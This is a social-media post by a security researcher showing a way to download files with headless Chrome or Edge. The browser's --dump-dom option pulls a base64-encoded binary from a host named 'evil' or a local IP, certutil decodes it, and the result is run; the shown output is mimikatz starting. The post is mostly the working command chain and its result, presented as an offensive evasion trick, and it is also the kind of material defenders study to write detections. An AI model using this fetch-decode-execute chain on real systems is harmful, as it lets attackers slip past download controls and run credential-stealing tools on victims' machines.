



Settings



Post



mr.d0x
@mrd0x



Another way to download files using msedge/chrome:

[msedge.exe | chrome.exe] --headless --enable-logging --disable-gpu --dump-dom "http://server/evil.b64.html" > out.b64

- Downloaded file should end with .html.
- Binaries should be encoded.

```
c:\Users\mr.d0x\Downloads>"c:\program files\google\chrome\application\chrome.exe" --headless --enable-logging --disable-gpu --dump-dom http://192.168.0.141/mimi.b64.html > out.b64.html

c:\Users\mr.d0x\Downloads>certutil -decode out.b64.html out.exe
Input Length = 1800591
Output Length = 1309448
CertUtil: -decode command completed successfully.

c:\Users\mr.d0x\Downloads>out.exe

.#####.  mimikatz 2.2.0 (x64) #19041 Sep 18 2020 19:18:29
.## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
## / \ ##  /** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ##   > https://blog.gentilkiwi.com/mimikatz
'## v #'    Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####'    > https://pingcastle.com / https://mysmartlogon.com **/

mimikatz # _
```

6:19 AM · Jan 4, 2022

349 Reposts 11 Quotes 907 Likes 186 Bookmarks



186



Don't miss what's happening

People on X are the first to know.

Log in

Sign up

Welcome to x.com!



We are letting you know that we are changing our URL, but your privacy and data protection settings remain the same.
For more details, see our Privacy Policy: <https://x.com/en/privacy>.

Did someone say ... cookies?

X and its partners use cookies to provide you with a better, safer and faster service and to support our business. Some cookies are necessary to use our services, improve our services, and make sure they work properly. [Show more about your choices.](#)

Accept all cookies

Refuse non-essential cookies